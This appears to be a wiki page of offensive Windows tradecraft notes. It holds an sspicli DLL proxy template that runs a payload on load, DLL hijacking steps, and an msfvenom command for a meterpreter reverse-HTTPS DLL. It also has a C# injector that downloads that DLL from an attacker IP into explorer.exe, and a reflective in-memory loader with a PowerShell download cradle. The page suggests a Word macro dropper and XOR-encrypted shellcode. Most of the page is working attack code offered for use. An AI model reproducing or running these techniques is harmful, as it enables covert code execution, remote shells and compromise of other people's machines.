#pragma comment(linker,&amp;quot;/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108&amp;quot;)&lt;br /&gt;
#include &amp;quot;windows.h&amp;quot;&lt;br /&gt;
#include &amp;quot;ios&amp;quot;&lt;br /&gt;
#include &amp;quot;fstream&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Remove this line if you aren&#039;t proxying any functions.&lt;br /&gt;
HMODULE hModule = LoadLibrary(L&amp;quot;C:\\Windows\\System32\\sspicli.dll&amp;quot;);&lt;br /&gt;
// Remove this function if you aren&#039;t proxying any functions.&lt;br /&gt;
VOID DebugToFile(LPCSTR szInput)&lt;br /&gt;
{&lt;br /&gt;
    std::ofstream log(&amp;quot;spartacus-proxy-sspicli.log&amp;quot;, std::ios_base::app | std::ios_base::out);&lt;br /&gt;
    log &amp;lt;&amp;lt; szInput;&lt;br /&gt;
    log &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
void Payload()&lt;br /&gt;
{&lt;br /&gt;
    STARTUPINFO si;&lt;br /&gt;
    PROCESS_INFORMATION pi;&lt;br /&gt;
    wchar_t cmd[] = L&amp;quot;calc.exe&amp;quot;;&lt;br /&gt;
    ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
    si.cb = sizeof(si);&lt;br /&gt;
    ZeroMemory(&amp;amp;pi, sizeof(pi));&lt;br /&gt;
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&lt;br /&gt;
{&lt;br /&gt;
    switch (ul_reason_for_call)&lt;br /&gt;
    {&lt;br /&gt;
    case DLL_PROCESS_ATTACH:&lt;br /&gt;
        Payload();&lt;br /&gt;
        break;&lt;br /&gt;
    case DLL_THREAD_ATTACH:&lt;br /&gt;
    case DLL_THREAD_DETACH:&lt;br /&gt;
    case DLL_PROCESS_DETACH:&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Hijacking ==&lt;br /&gt;
&lt;br /&gt;
* Use ProcessMonitor with filters&lt;br /&gt;
&amp;lt;code&amp;gt;Result Contains &amp;quot;Name Not Found&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Path Ends With &amp;quot;.dll&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Generate a DLL. See below.&lt;br /&gt;
&lt;br /&gt;
* Name it as with the same name as the missing DLL.&lt;br /&gt;
&lt;br /&gt;
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.&lt;br /&gt;
&lt;br /&gt;
DLL search order is as shown:&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application is loaded (E.g. &#039;&#039;&#039;C:\Program Files\application&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The system directory (&#039;&#039;&#039;C:\Windows\System32&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory&lt;br /&gt;
&lt;br /&gt;
* The Windows directory&lt;br /&gt;
&lt;br /&gt;
* The current directory&lt;br /&gt;
&lt;br /&gt;
* Directories that are listed in the &#039;&#039;PATH&#039;&#039; environment variable&lt;br /&gt;
&lt;br /&gt;
== DLL Injection ==&lt;br /&gt;
&lt;br /&gt;
* Open Visual Studios&lt;br /&gt;
&lt;br /&gt;
* Choose &amp;lt;code&amp;gt;Class Library (.Net Framework)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Accept the default name: &amp;lt;code&amp;gt;ClassLibrary1&amp;lt;/code&amp;gt; and proceed.&lt;br /&gt;
&lt;br /&gt;
=== Staged DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https&lt;br /&gt;
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a ConsoleApp. When its run it will inject the generated &#039;&#039;&#039;met.dll &#039;&#039;&#039;above into &#039;&#039;&#039;explorer.exe&#039;&#039;&#039;. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.&lt;br /&gt;
&lt;br /&gt;
Note that this payload will write the met.dll to &#039;&#039;&#039;disk. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import the OpenProcess function from the kernel32.dll library.&lt;br /&gt;
        // This function is used to open an existing process by its ID.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Import the VirtualAllocEx function from the kernel32.dll library.&lt;br /&gt;
        // This function allocates memory within a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Import the WriteProcessMemory function from the kernel32.dll library.&lt;br /&gt;
        // This function writes data to an area of memory in a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Import the CreateRemoteThread function from the kernel32.dll library.&lt;br /&gt;
        // This function creates a thread that runs in the address space of a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        // Import the GetProcAddress function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves the address of an exported function or variable from a specified DLL.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        // Import the GetModuleHandle function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves a handle to the specified module (DLL) in the current process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the path to the My Documents folder.&lt;br /&gt;
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);&lt;br /&gt;
            // Construct the full path to the DLL file to be downloaded.&lt;br /&gt;
            String dllName = dir + &amp;quot;\\met.dll&amp;quot;;&lt;br /&gt;
            // Create a WebClient instance for downloading files from the Internet.&lt;br /&gt;
            WebClient wc = new WebClient();&lt;br /&gt;
            // Download the DLL file from the specified URL to the local system.&lt;br /&gt;
            wc.DownloadFile(&amp;quot;http://192.168.119.120/met.dll&amp;quot;, dllName);&lt;br /&gt;
            // Get an array of Process instances for processes with the name &amp;quot;explorer&amp;quot;.&lt;br /&gt;
            Process[] expProc = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            // Get the process ID of the first explorer process.&lt;br /&gt;
            int pid = expProc[0].Id;&lt;br /&gt;
            // Open the specified process with certain access rights.&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
            // Allocate memory within the specified process.&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Declare a variable to store the number of bytes written during memory write operation.&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            // Write the bytes of the DLL name to the allocated memory in the target process.&lt;br /&gt;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
            // Get the address of the LoadLibraryA function from the kernel32.dll library.&lt;br /&gt;
            IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
            // Create a remote thread within the target process to execute the LoadLibraryA function.&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Reflective DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory &#039;&#039;&#039;without touching the disk&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Requires a malicious DLL hosted on a download location you control.&lt;br /&gt;
&lt;br /&gt;
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.&lt;br /&gt;
&lt;br /&gt;
The below code is a Class Library (.NET Framework)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now load the DLL into memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$data = (New-Object System.Net.Webclient).DownloadData(&#039;http://192.168.1.126/run4.dll&#039;)&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
$class = $assem.GetType(&amp;quot;runthat.Beirut&amp;quot;)&lt;br /&gt;
$method = $class.GetMethod(&amp;quot;Tripoli&amp;quot;)&lt;br /&gt;
$method.Invoke(0, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XOR&#039;ed DLL injection code ===&lt;br /&gt;
&lt;br /&gt;
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
